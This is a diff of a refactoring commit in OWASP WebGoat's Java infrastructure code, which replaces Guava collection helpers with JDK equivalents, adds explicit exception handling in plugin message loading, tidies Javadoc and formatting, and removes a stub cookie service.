// @AliasFor(annotation = RequestMapping.class)
|
|
||||||
RequestMethod[] method() default {};
|
RequestMethod[] method() default {};
|
||||||
|
|
||||||
// @AliasFor("path")
|
|
||||||
String value() default "";
|
String value() default "";
|
||||||
}
|
}
|
||||||
|
@ -25,7 +25,6 @@
|
|||||||
|
|
||||||
package org.owasp.webgoat.assignments;
|
package org.owasp.webgoat.assignments;
|
||||||
|
|
||||||
import com.google.common.base.Strings;
|
|
||||||
import lombok.Getter;
|
import lombok.Getter;
|
||||||
import org.apache.commons.lang3.StringEscapeUtils;
|
import org.apache.commons.lang3.StringEscapeUtils;
|
||||||
import org.owasp.webgoat.i18n.PluginMessages;
|
import org.owasp.webgoat.i18n.PluginMessages;
|
||||||
|
@ -28,6 +28,7 @@
|
|||||||
* @version $Id: $Id
|
* @version $Id: $Id
|
||||||
* @since October 28, 2003
|
* @since October 28, 2003
|
||||||
*/
|
*/
|
||||||
|
|
||||||
package org.owasp.webgoat.controller;
|
package org.owasp.webgoat.controller;
|
||||||
|
|
||||||
import org.owasp.webgoat.lessons.Lesson;
|
import org.owasp.webgoat.lessons.Lesson;
|
||||||
|
@ -28,6 +28,7 @@
|
|||||||
* @since October 28, 2003
|
* @since October 28, 2003
|
||||||
* @version $Id: $Id
|
* @version $Id: $Id
|
||||||
*/
|
*/
|
||||||
|
|
||||||
package org.owasp.webgoat.controller;
|
package org.owasp.webgoat.controller;
|
||||||
|
|
||||||
import org.springframework.stereotype.Controller;
|
import org.springframework.stereotype.Controller;
|
||||||
|
@ -22,6 +22,7 @@
|
|||||||
* projects.
|
* projects.
|
||||||
* <p>
|
* <p>
|
||||||
*/
|
*/
|
||||||
|
|
||||||
package org.owasp.webgoat.i18n;
|
package org.owasp.webgoat.i18n;
|
||||||
|
|
||||||
import lombok.AllArgsConstructor;
|
import lombok.AllArgsConstructor;
|
||||||
|
@ -25,9 +25,10 @@
|
|||||||
|
|
||||||
package org.owasp.webgoat.i18n;
|
package org.owasp.webgoat.i18n;
|
||||||
|
|
||||||
import lombok.SneakyThrows;
|
|
||||||
import org.springframework.context.support.ReloadableResourceBundleMessageSource;
|
import org.springframework.context.support.ReloadableResourceBundleMessageSource;
|
||||||
|
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.net.URISyntaxException;
|
||||||
import java.net.URL;
|
import java.net.URL;
|
||||||
import java.util.Enumeration;
|
import java.util.Enumeration;
|
||||||
import java.util.Properties;
|
import java.util.Properties;
|
||||||
@ -50,18 +51,23 @@ public class PluginMessages extends ReloadableResourceBundleMessageSource {
|
|||||||
}
|
}
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
@SneakyThrows
|
|
||||||
protected PropertiesHolder refreshProperties(String filename, PropertiesHolder propHolder) {
|
protected PropertiesHolder refreshProperties(String filename, PropertiesHolder propHolder) {
|
||||||
Properties properties = new Properties();
|
Properties properties = new Properties();
|
||||||
long lastModified = System.currentTimeMillis();
|
long lastModified = System.currentTimeMillis();
|
||||||
|
|
||||||
Enumeration<URL> resources = Thread.currentThread().getContextClassLoader().getResources(filename + PROPERTIES_SUFFIX);
|
Enumeration<URL> resources = null;
|
||||||
while (resources.hasMoreElements()) {
|
try {
|
||||||
URL resource = resources.nextElement();
|
resources = Thread.currentThread().getContextClassLoader().getResources(filename + PROPERTIES_SUFFIX);
|
||||||
String sourcePath = resource.toURI().toString().replace(PROPERTIES_SUFFIX, "");
|
while (resources.hasMoreElements()) {
|
||||||
PropertiesHolder holder = super.refreshProperties(sourcePath, propHolder);
|
URL resource = resources.nextElement();
|
||||||
properties.putAll(holder.getProperties());
|
String sourcePath = resource.toURI().toString().replace(PROPERTIES_SUFFIX, "");
|
||||||
|
PropertiesHolder holder = super.refreshProperties(sourcePath, propHolder);
|
||||||
|
properties.putAll(holder.getProperties());
|
||||||
|
}
|
||||||
|
} catch (IOException | URISyntaxException e) {
|
||||||
|
logger.error("Unable to read plugin message", e);
|
||||||
}
|
}
|
||||||
|
|
||||||
return new PropertiesHolder(properties, lastModified);
|
return new PropertiesHolder(properties, lastModified);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -1,9 +1,9 @@
|
|||||||
package org.owasp.webgoat.lessons;
|
package org.owasp.webgoat.lessons;
|
||||||
|
|
||||||
import com.google.common.collect.Lists;
|
|
||||||
import lombok.*;
|
import lombok.*;
|
||||||
|
|
||||||
import javax.persistence.*;
|
import javax.persistence.*;
|
||||||
|
import java.util.ArrayList;
|
||||||
import java.util.List;
|
import java.util.List;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@ -45,7 +45,7 @@ public class Assignment {
|
|||||||
private Long id;
|
private Long id;
|
||||||
private String name;
|
private String name;
|
||||||
private String path;
|
private String path;
|
||||||
|
|
||||||
@Transient
|
@Transient
|
||||||
private List<String> hints;
|
private List<String> hints;
|
||||||
|
|
||||||
@ -54,7 +54,7 @@ public class Assignment {
|
|||||||
}
|
}
|
||||||
|
|
||||||
public Assignment(String name) {
|
public Assignment(String name) {
|
||||||
this(name, name, Lists.newArrayList());
|
this(name, name, new ArrayList<>());
|
||||||
}
|
}
|
||||||
|
|
||||||
public Assignment(String name, String path, List<String> hints) {
|
public Assignment(String name, String path, List<String> hints) {
|
||||||
@ -65,14 +65,15 @@ public class Assignment {
|
|||||||
this.path = path;
|
this.path = path;
|
||||||
this.hints = hints;
|
this.hints = hints;
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Set path is here to overwrite stored paths.
|
* Set path is here to overwrite stored paths.
|
||||||
* Since a stored path can no longer be used in a lesson while
|
* Since a stored path can no longer be used in a lesson while
|
||||||
* the lesson (name) itself is still part of the lesson.
|
* the lesson (name) itself is still part of the lesson.
|
||||||
* @param pathName
|
*
|
||||||
|
* @param pathName the path
|
||||||
*/
|
*/
|
||||||
public void setPath(String pathName) {
|
public void setPath(String pathName) {
|
||||||
this.path = pathName;
|
this.path = pathName;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -24,6 +24,7 @@
|
|||||||
* projects.
|
* projects.
|
||||||
*
|
*
|
||||||
*/
|
*/
|
||||||
|
|
||||||
package org.owasp.webgoat.lessons;
|
package org.owasp.webgoat.lessons;
|
||||||
|
|
||||||
import lombok.Value;
|
import lombok.Value;
|
||||||
|
@ -1,32 +1,32 @@
|
|||||||
/**
|
/**
|
||||||
* *************************************************************************************************
|
* *************************************************************************************************
|
||||||
*
|
* <p>
|
||||||
*
|
* <p>
|
||||||
* This file is part of WebGoat, an Open Web Application Security Project
|
* This file is part of WebGoat, an Open Web Application Security Project
|
||||||
* utility. For details, please see http://www.owasp.org/
|
* utility. For details, please see http://www.owasp.org/
|
||||||
*
|
* <p>
|
||||||
* Copyright (c) 2002 - 20014 Bruce Mayhew
|
* Copyright (c) 2002 - 20014 Bruce Mayhew
|
||||||
*
|
* <p>
|
||||||
* This program is free software; you can redistribute it and/or modify it under
|
* This program is free software; you can redistribute it and/or modify it under
|
||||||
* the terms of the GNU General Public License as published by the Free Software
|
* the terms of the GNU General Public License as published by the Free Software
|
||||||
* Foundation; either version 2 of the License, or (at your option) any later
|
* Foundation; either version 2 of the License, or (at your option) any later
|
||||||
* version.
|
* version.
|
||||||
*
|
* <p>
|
||||||
* This program is distributed in the hope that it will be useful, but WITHOUT
|
* This program is distributed in the hope that it will be useful, but WITHOUT
|
||||||
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||||
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||||
* details.
|
* details.
|
||||||
*
|
* <p>
|
||||||
* You should have received a copy of the GNU General Public License along with
|
* You should have received a copy of the GNU General Public License along with
|
||||||
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
|
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
|
||||||
* Place - Suite 330, Boston, MA 02111-1307, USA.
|
* Place - Suite 330, Boston, MA 02111-1307, USA.
|
||||||
*
|
* <p>
|
||||||
* Getting Source ==============
|
* Getting Source ==============
|
||||||
*
|
* <p>
|
||||||
* Source for this application is maintained at
|
* Source for this application is maintained at
|
||||||
* https://github.com/WebGoat/WebGoat, a repository for free software projects.
|
* https://github.com/WebGoat/WebGoat, a repository for free software projects.
|
||||||
*
|
|
||||||
*/
|
*/
|
||||||
|
|
||||||
package org.owasp.webgoat.lessons;
|
package org.owasp.webgoat.lessons;
|
||||||
|
|
||||||
import java.util.ArrayList;
|
import java.util.ArrayList;
|
||||||
@ -46,8 +46,6 @@ public class LessonMenuItem {
|
|||||||
private boolean complete;
|
private boolean complete;
|
||||||
private String link;
|
private String link;
|
||||||
private int ranking;
|
private int ranking;
|
||||||
// private boolean showSource = true;
|
|
||||||
// private boolean showHints = true;
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* <p>Getter for the field <code>name</code>.</p>
|
* <p>Getter for the field <code>name</code>.</p>
|
||||||
@ -112,7 +110,6 @@ public class LessonMenuItem {
|
|||||||
children.add(child);
|
children.add(child);
|
||||||
}
|
}
|
||||||
|
|
||||||
/** {@inheritDoc} */
|
|
||||||
@Override
|
@Override
|
||||||
public String toString() {
|
public String toString() {
|
||||||
StringBuilder bldr = new StringBuilder();
|
StringBuilder bldr = new StringBuilder();
|
||||||
|
@ -27,6 +27,7 @@
|
|||||||
* for free software projects.
|
* for free software projects.
|
||||||
*
|
*
|
||||||
*/
|
*/
|
||||||
|
|
||||||
package org.owasp.webgoat.lessons;
|
package org.owasp.webgoat.lessons;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@ -69,7 +70,6 @@ public class RequestParameter implements Comparable<RequestParameter> {
|
|||||||
return value;
|
return value;
|
||||||
}
|
}
|
||||||
|
|
||||||
/** {@inheritDoc} */
|
|
||||||
@Override
|
@Override
|
||||||
public int compareTo(RequestParameter o) {
|
public int compareTo(RequestParameter o) {
|
||||||
return this.name.compareTo(o.getName());
|
return this.name.compareTo(o.getName());
|
||||||
|
@ -19,9 +19,9 @@
|
|||||||
*
|
*
|
||||||
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
|
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
|
||||||
*/
|
*/
|
||||||
|
|
||||||
package org.owasp.webgoat.plugins;
|
package org.owasp.webgoat.plugins;
|
||||||
|
|
||||||
import com.google.common.collect.Lists;
|
|
||||||
import lombok.extern.slf4j.Slf4j;
|
import lombok.extern.slf4j.Slf4j;
|
||||||
import org.apache.commons.lang3.ArrayUtils;
|
import org.apache.commons.lang3.ArrayUtils;
|
||||||
import org.owasp.webgoat.assignments.AssignmentEndpoint;
|
import org.owasp.webgoat.assignments.AssignmentEndpoint;
|
||||||
@ -39,9 +39,7 @@ import org.springframework.web.bind.annotation.PutMapping;
|
|||||||
import org.springframework.web.bind.annotation.RequestMapping;
|
import org.springframework.web.bind.annotation.RequestMapping;
|
||||||
|
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.util.Arrays;
|
import java.util.*;
|
||||||
import java.util.List;
|
|
||||||
import java.util.Map;
|
|
||||||
|
|
||||||
import static java.util.stream.Collectors.groupingBy;
|
import static java.util.stream.Collectors.groupingBy;
|
||||||
import static java.util.stream.Collectors.toList;
|
import static java.util.stream.Collectors.toList;
|
||||||
@ -70,7 +68,7 @@ public class CourseConfiguration {
|
|||||||
var endpoints = assignmentsByPackage.get(lesson.getClass().getPackageName());
|
var endpoints = assignmentsByPackage.get(lesson.getClass().getPackageName());
|
||||||
if (CollectionUtils.isEmpty(endpoints)) {
|
if (CollectionUtils.isEmpty(endpoints)) {
|
||||||
log.warn("Lesson: {} has no endpoints, is this intentionally?", lesson.getTitle());
|
log.warn("Lesson: {} has no endpoints, is this intentionally?", lesson.getTitle());
|
||||||
return Lists.newArrayList();
|
return new ArrayList();
|
||||||
}
|
}
|
||||||
return endpoints.stream().map(e -> new Assignment(e.getClass().getSimpleName(), getPath(e.getClass()), getHints(e.getClass()))).collect(toList());
|
return endpoints.stream().map(e -> new Assignment(e.getClass().getSimpleName(), getPath(e.getClass()), getHints(e.getClass()))).collect(toList());
|
||||||
}
|
}
|
||||||
@ -110,8 +108,8 @@ public class CourseConfiguration {
|
|||||||
|
|
||||||
private List<String> getHints(Class<? extends AssignmentEndpoint> e) {
|
private List<String> getHints(Class<? extends AssignmentEndpoint> e) {
|
||||||
if (e.isAnnotationPresent(AssignmentHints.class)) {
|
if (e.isAnnotationPresent(AssignmentHints.class)) {
|
||||||
return Lists.newArrayList(e.getAnnotationsByType(AssignmentHints.class)[0].value());
|
return List.of(e.getAnnotationsByType(AssignmentHints.class)[0].value());
|
||||||
}
|
}
|
||||||
return Lists.newArrayList();
|
return Collections.emptyList();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -1,63 +0,0 @@
|
|||||||
/**
|
|
||||||
* *************************************************************************************************
|
|
||||||
*
|
|
||||||
*
|
|
||||||
* This file is part of WebGoat, an Open Web Application Security Project
|
|
||||||
* utility. For details, please see http://www.owasp.org/
|
|
||||||
*
|
|
||||||
* Copyright (c) 2002 - 20014 Bruce Mayhew
|
|
||||||
*
|
|
||||||
* This program is free software; you can redistribute it and/or modify it under
|
|
||||||
* the terms of the GNU General Public License as published by the Free Software
|
|
||||||
* Foundation; either version 2 of the License, or (at your option) any later
|
|
||||||
* version.
|
|
||||||
*
|
|
||||||
* This program is distributed in the hope that it will be useful, but WITHOUT
|
|
||||||
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
|
||||||
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
|
||||||
* details.
|
|
||||||
*
|
|
||||||
* You should have received a copy of the GNU General Public License along with
|
|
||||||
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
|
|
||||||
* Place - Suite 330, Boston, MA 02111-1307, USA.
|
|
||||||
*
|
|
||||||
* Getting Source ==============
|
|
||||||
*
|
|
||||||
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository
|
|
||||||
* for free software projects.
|
|
||||||
*
|
|
||||||
*/
|
|
||||||
package org.owasp.webgoat.service;
|
|
||||||
|
|
||||||
import com.google.common.collect.Lists;
|
|
||||||
import org.springframework.stereotype.Controller;
|
|
||||||
import org.springframework.web.bind.annotation.RequestMapping;
|
|
||||||
import org.springframework.web.bind.annotation.ResponseBody;
|
|
||||||
|
|
||||||
import javax.servlet.http.Cookie;
|
|
||||||
import javax.servlet.http.HttpSession;
|
|
||||||
import java.util.List;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* <p>CookieService class.</p>
|
|
||||||
*
|
|
||||||
* @author rlawson
|
|
||||||
* @version $Id: $Id
|
|
||||||
*/
|
|
||||||
@Controller
|
|
||||||
public class CookieService {
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Returns cookies for last attack
|
|
||||||
*
|
|
||||||
* @param session a {@link javax.servlet.http.HttpSession} object.
|
|
||||||
* @return a {@link java.util.List} object.
|
|
||||||
*/
|
|
||||||
@RequestMapping(path = "/service/cookie.mvc", produces = "application/json")
|
|
||||||
public @ResponseBody
|
|
||||||
List<Cookie> showCookies() {
|
|
||||||
//// TODO: 11/6/2016 to be decided
|
|
||||||
List<Cookie> cookies = Lists.newArrayList();
|
|
||||||
return cookies;
|
|
||||||
}
|
|
||||||
}
|
|
@ -3,6 +3,7 @@
|
|||||||
* To change this template file, choose Tools | Templates
|
* To change this template file, choose Tools | Templates
|
||||||
* and open the template in the editor.
|
* and open the template in the editor.
|
||||||
*/
|
*/
|
||||||
|
|
||||||
package org.owasp.webgoat.service;
|
package org.owasp.webgoat.service;
|
||||||
|
|
||||||
import org.owasp.webgoat.lessons.Assignment;
|
import org.owasp.webgoat.lessons.Assignment;
|
||||||
|
@ -1,32 +1,32 @@
|
|||||||
/**
|
/**
|
||||||
* *************************************************************************************************
|
* *************************************************************************************************
|
||||||
*
|
* <p>
|
||||||
*
|
* <p>
|
||||||
* This file is part of WebGoat, an Open Web Application Security Project
|
* This file is part of WebGoat, an Open Web Application Security Project
|
||||||
* utility. For details, please see http://www.owasp.org/
|
* utility. For details, please see http://www.owasp.org/
|
||||||
*
|
* <p>
|
||||||
* Copyright (c) 2002 - 20014 Bruce Mayhew
|
* Copyright (c) 2002 - 20014 Bruce Mayhew
|
||||||
*
|
* <p>
|
||||||
* This program is free software; you can redistribute it and/or modify it under
|
* This program is free software; you can redistribute it and/or modify it under
|
||||||
* the terms of the GNU General Public License as published by the Free Software
|
* the terms of the GNU General Public License as published by the Free Software
|
||||||
* Foundation; either version 2 of the License, or (at your option) any later
|
* Foundation; either version 2 of the License, or (at your option) any later
|
||||||
* version.
|
* version.
|
||||||
*
|
* <p>
|
||||||
* This program is distributed in the hope that it will be useful, but WITHOUT
|
* This program is distributed in the hope that it will be useful, but WITHOUT
|
||||||
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||||
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||||
* details.
|
* details.
|
||||||
*
|
* <p>
|
||||||
* You should have received a copy of the GNU General Public License along with
|
* You should have received a copy of the GNU General Public License along with
|
||||||
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
|
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
|
||||||
* Place - Suite 330, Boston, MA 02111-1307, USA.
|
* Place - Suite 330, Boston, MA 02111-1307, USA.
|
||||||
*
|
* <p>
|
||||||
* Getting Source ==============
|
* Getting Source ==============
|
||||||
*
|
* <p>
|
||||||
* Source for this application is maintained at
|
* Source for this application is maintained at
|
||||||
* https://github.com/WebGoat/WebGoat, a repository for free software projects.
|
* https://github.com/WebGoat/WebGoat, a repository for free software projects.
|
||||||
*
|
|
||||||
*/
|
*/
|
||||||
|
|
||||||
package org.owasp.webgoat.service;
|
package org.owasp.webgoat.service;
|
||||||
|
|
||||||
import lombok.AllArgsConstructor;
|
import lombok.AllArgsConstructor;
|
||||||
@ -73,20 +73,20 @@ public class LabelDebugService {
|
|||||||
return new ResponseEntity<>(result, HttpStatus.OK);
|
return new ResponseEntity<>(result, HttpStatus.OK);
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Sets the enabled flag on the label debugger to the given parameter
|
* Sets the enabled flag on the label debugger to the given parameter
|
||||||
* @param enabled {@link org.owasp.webgoat.session.LabelDebugger} object
|
* @param enabled {@link org.owasp.webgoat.session.LabelDebugger} object
|
||||||
* @throws Exception unhandled exception
|
* @throws Exception unhandled exception
|
||||||
* @return a {@link org.springframework.http.ResponseEntity} object.
|
* @return a {@link org.springframework.http.ResponseEntity} object.
|
||||||
*/
|
*/
|
||||||
@RequestMapping(value = URL_DEBUG_LABELS_MVC, produces = MediaType.APPLICATION_JSON_VALUE, params = KEY_ENABLED)
|
@RequestMapping(value = URL_DEBUG_LABELS_MVC, produces = MediaType.APPLICATION_JSON_VALUE, params = KEY_ENABLED)
|
||||||
public @ResponseBody
|
public @ResponseBody
|
||||||
ResponseEntity<Map<String, Object>> setDebuggingStatus(@RequestParam("enabled") Boolean enabled) throws Exception {
|
ResponseEntity<Map<String, Object>> setDebuggingStatus(@RequestParam("enabled") Boolean enabled) throws Exception {
|
||||||
log.debug("Setting label debugging to {} ", labelDebugger.isEnabled());
|
log.debug("Setting label debugging to {} ", labelDebugger.isEnabled());
|
||||||
Map<String, Object> result = createResponse(enabled);
|
Map<String, Object> result = createResponse(enabled);
|
||||||
labelDebugger.setEnabled(enabled);
|
labelDebugger.setEnabled(enabled);
|
||||||
return new ResponseEntity<>(result, HttpStatus.OK);
|
return new ResponseEntity<>(result, HttpStatus.OK);
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @param enabled {@link org.owasp.webgoat.session.LabelDebugger} object
|
* @param enabled {@link org.owasp.webgoat.session.LabelDebugger} object
|
||||||
|
@ -26,6 +26,7 @@
|
|||||||
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository
|
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository
|
||||||
* for free software projects.
|
* for free software projects.
|
||||||
*/
|
*/
|
||||||
|
|
||||||
package org.owasp.webgoat.service;
|
package org.owasp.webgoat.service;
|
||||||
|
|
||||||
import lombok.AllArgsConstructor;
|
import lombok.AllArgsConstructor;
|
||||||
@ -67,21 +68,20 @@ public class LabelService {
|
|||||||
* We use Springs session locale resolver which also gives us the option to change the local later on. For
|
* We use Springs session locale resolver which also gives us the option to change the local later on. For
|
||||||
* now it uses the accept-language from the HttpRequest. If this language is not found it will default back
|
* now it uses the accept-language from the HttpRequest. If this language is not found it will default back
|
||||||
* to messages.properties.
|
* to messages.properties.
|
||||||
*
|
* <p>
|
||||||
* Note although it is possible to use Spring language interceptor we for now opt for this solution, the UI
|
* Note although it is possible to use Spring language interceptor we for now opt for this solution, the UI
|
||||||
* will always need to fetch the labels with the new language set by the user. So we don't need to intercept each
|
* will always need to fetch the labels with the new language set by the user. So we don't need to intercept each
|
||||||
* and every request to see if the language param has been set in the request.
|
* and every request to see if the language param has been set in the request.
|
||||||
*
|
*
|
||||||
* @param lang the language to fetch labels for (optional)
|
* @param lang the language to fetch labels for (optional)
|
||||||
* @return a map of labels
|
* @return a map of labels
|
||||||
* @throws Exception
|
|
||||||
*/
|
*/
|
||||||
@GetMapping(path = URL_LABELS_MVC, produces = MediaType.APPLICATION_JSON_VALUE)
|
@GetMapping(path = URL_LABELS_MVC, produces = MediaType.APPLICATION_JSON_VALUE)
|
||||||
@ResponseBody
|
@ResponseBody
|
||||||
public ResponseEntity<Properties> fetchLabels(@RequestParam(value = "lang", required = false) String lang, HttpServletRequest request) {
|
public ResponseEntity<Properties> fetchLabels(@RequestParam(value = "lang", required = false) String lang) {
|
||||||
if (!StringUtils.isEmpty(lang)) {
|
if (!StringUtils.isEmpty(lang)) {
|
||||||
Locale locale = Locale.forLanguageTag(lang);
|
Locale locale = Locale.forLanguageTag(lang);
|
||||||
((SessionLocaleResolver)localeResolver).setDefaultLocale(locale);
|
((SessionLocaleResolver) localeResolver).setDefaultLocale(locale);
|
||||||
log.debug("Language provided: {} leads to Locale: {}", lang, locale);
|
log.debug("Language provided: {} leads to Locale: {}", lang, locale);
|
||||||
}
|
}
|
||||||
Properties allProperties = new Properties();
|
Properties allProperties = new Properties();
|
||||||
|
@ -26,6 +26,7 @@
|
|||||||
* Source for this application is maintained at
|
* Source for this application is maintained at
|
||||||
* https://github.com/WebGoat/WebGoat, a repository for free software projects.
|
* https://github.com/WebGoat/WebGoat, a repository for free software projects.
|
||||||
*/
|
*/
|
||||||
|
|
||||||
package org.owasp.webgoat.service;
|
package org.owasp.webgoat.service;
|
||||||
|
|
||||||
import lombok.AllArgsConstructor;
|
import lombok.AllArgsConstructor;
|
||||||
@ -100,15 +101,7 @@ public class LessonMenuService {
|
|||||||
return menu;
|
return menu;
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
|
||||||
* This determines if the lesson is complete based on data in the database
|
|
||||||
* and the list of assignments actually linked to the existing current lesson.
|
|
||||||
* This way older removed assignments will not prevent a lesson from being completed.
|
|
||||||
* @param map
|
|
||||||
* @param currentLesson
|
|
||||||
* @return
|
|
||||||
*/
|
|
||||||
private boolean lessonCompleted(Map<Assignment, Boolean> map, Lesson currentLesson) {
|
private boolean lessonCompleted(Map<Assignment, Boolean> map, Lesson currentLesson) {
|
||||||
boolean result = true;
|
boolean result = true;
|
||||||
for (Map.Entry<Assignment, Boolean> entry : map.entrySet()) {
|
for (Map.Entry<Assignment, Boolean> entry : map.entrySet()) {
|
||||||
|
@ -27,6 +27,7 @@
|
|||||||
* for free software projects.
|
* for free software projects.
|
||||||
*
|
*
|
||||||
*/
|
*/
|
||||||
|
|
||||||
package org.owasp.webgoat.service;
|
package org.owasp.webgoat.service;
|
||||||
|
|
||||||
import org.owasp.webgoat.session.WebSession;
|
import org.owasp.webgoat.session.WebSession;
|
||||||
|
@ -1,7 +1,5 @@
|
|||||||
package org.owasp.webgoat.service;
|
package org.owasp.webgoat.service;
|
||||||
|
|
||||||
import com.google.common.collect.Lists;
|
|
||||||
import com.google.common.collect.Maps;
|
|
||||||
import lombok.AllArgsConstructor;
|
import lombok.AllArgsConstructor;
|
||||||
import lombok.Getter;
|
import lombok.Getter;
|
||||||
import org.owasp.webgoat.lessons.Lesson;
|
import org.owasp.webgoat.lessons.Lesson;
|
||||||
@ -16,6 +14,7 @@ import org.springframework.web.bind.annotation.RequestMapping;
|
|||||||
import org.springframework.web.bind.annotation.ResponseBody;
|
import org.springframework.web.bind.annotation.ResponseBody;
|
||||||
|
|
||||||
import java.util.ArrayList;
|
import java.util.ArrayList;
|
||||||
|
import java.util.HashMap;
|
||||||
import java.util.List;
|
import java.util.List;
|
||||||
import java.util.Map;
|
import java.util.Map;
|
||||||
|
|
||||||
@ -40,14 +39,14 @@ public class LessonProgressService {
|
|||||||
@RequestMapping(value = "/service/lessonprogress.mvc", produces = "application/json")
|
@RequestMapping(value = "/service/lessonprogress.mvc", produces = "application/json")
|
||||||
@ResponseBody
|
@ResponseBody
|
||||||
public Map getLessonInfo() {
|
public Map getLessonInfo() {
|
||||||
Map json = Maps.newHashMap();
|
Map json = new HashMap();
|
||||||
UserTracker userTracker = userTrackerRepository.findByUser(webSession.getUserName());
|
UserTracker userTracker = userTrackerRepository.findByUser(webSession.getUserName());
|
||||||
if (webSession.getCurrentLesson() != null) {
|
if (webSession.getCurrentLesson() != null) {
|
||||||
LessonTracker lessonTracker = userTracker.getLessonTracker(webSession.getCurrentLesson());
|
LessonTracker lessonTracker = userTracker.getLessonTracker(webSession.getCurrentLesson());
|
||||||
String successMessage = "";
|
String successMessage = "";
|
||||||
boolean lessonCompleted = false;
|
boolean lessonCompleted = false;
|
||||||
if (lessonTracker != null) {
|
if (lessonTracker != null) {
|
||||||
lessonCompleted = lessonCompleted(lessonTracker.getLessonOverview(),webSession.getCurrentLesson());
|
lessonCompleted = isLessonComplete(lessonTracker.getLessonOverview(), webSession.getCurrentLesson());
|
||||||
successMessage = "LessonCompleted"; //@todo we still use this??
|
successMessage = "LessonCompleted"; //@todo we still use this??
|
||||||
}
|
}
|
||||||
json.put("lessonCompleted", lessonCompleted);
|
json.put("lessonCompleted", lessonCompleted);
|
||||||
@ -67,8 +66,8 @@ public class LessonProgressService {
|
|||||||
public List<LessonOverview> lessonOverview() {
|
public List<LessonOverview> lessonOverview() {
|
||||||
UserTracker userTracker = userTrackerRepository.findByUser(webSession.getUserName());
|
UserTracker userTracker = userTrackerRepository.findByUser(webSession.getUserName());
|
||||||
Lesson currentLesson = webSession.getCurrentLesson();
|
Lesson currentLesson = webSession.getCurrentLesson();
|
||||||
List<LessonOverview> result = Lists.newArrayList();
|
List<LessonOverview> result = new ArrayList<>();
|
||||||
if ( currentLesson != null ) {
|
if (currentLesson != null) {
|
||||||
LessonTracker lessonTracker = userTracker.getLessonTracker(currentLesson);
|
LessonTracker lessonTracker = userTracker.getLessonTracker(currentLesson);
|
||||||
result = toJson(lessonTracker.getLessonOverview(), currentLesson);
|
result = toJson(lessonTracker.getLessonOverview(), currentLesson);
|
||||||
}
|
}
|
||||||
@ -78,45 +77,38 @@ public class LessonProgressService {
|
|||||||
private List<LessonOverview> toJson(Map<Assignment, Boolean> map, Lesson currentLesson) {
|
private List<LessonOverview> toJson(Map<Assignment, Boolean> map, Lesson currentLesson) {
|
||||||
List<LessonOverview> result = new ArrayList();
|
List<LessonOverview> result = new ArrayList();
|
||||||
for (Map.Entry<Assignment, Boolean> entry : map.entrySet()) {
|
for (Map.Entry<Assignment, Boolean> entry : map.entrySet()) {
|
||||||
Assignment storedAssignment = entry.getKey();
|
Assignment storedAssignment = entry.getKey();
|
||||||
for (Assignment lessonAssignment: currentLesson.getAssignments()) {
|
for (Assignment lessonAssignment : currentLesson.getAssignments()) {
|
||||||
if (lessonAssignment.getName().equals(storedAssignment.getName())
|
if (lessonAssignment.getName().equals(storedAssignment.getName())
|
||||||
&& !lessonAssignment.getPath().equals(storedAssignment.getPath())) {
|
&& !lessonAssignment.getPath().equals(storedAssignment.getPath())) {
|
||||||
//here a stored path in the assignments table will be corrected for the JSON output
|
//here a stored path in the assignments table will be corrected for the JSON output
|
||||||
//with the value of the actual expected path
|
//with the value of the actual expected path
|
||||||
storedAssignment.setPath(lessonAssignment.getPath());
|
storedAssignment.setPath(lessonAssignment.getPath());
|
||||||
result.add(new LessonOverview(storedAssignment, entry.getValue()));
|
result.add(new LessonOverview(storedAssignment, entry.getValue()));
|
||||||
break;
|
break;
|
||||||
|
|
||||||
} else if (lessonAssignment.getName().equals(storedAssignment.getName())) {
|
} else if (lessonAssignment.getName().equals(storedAssignment.getName())) {
|
||||||
result.add(new LessonOverview(storedAssignment, entry.getValue()));
|
result.add(new LessonOverview(storedAssignment, entry.getValue()));
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
//assignments not in the list will not be put in the lesson progress JSON output
|
//assignments not in the list will not be put in the lesson progress JSON output
|
||||||
|
|
||||||
}
|
}
|
||||||
return result;
|
return result;
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
private boolean isLessonComplete(Map<Assignment, Boolean> map, Lesson currentLesson) {
|
||||||
* Get the lesson completed based on Assignment data from the database
|
|
||||||
* while ignoring assignments no longer in the application.
|
|
||||||
* @param map
|
|
||||||
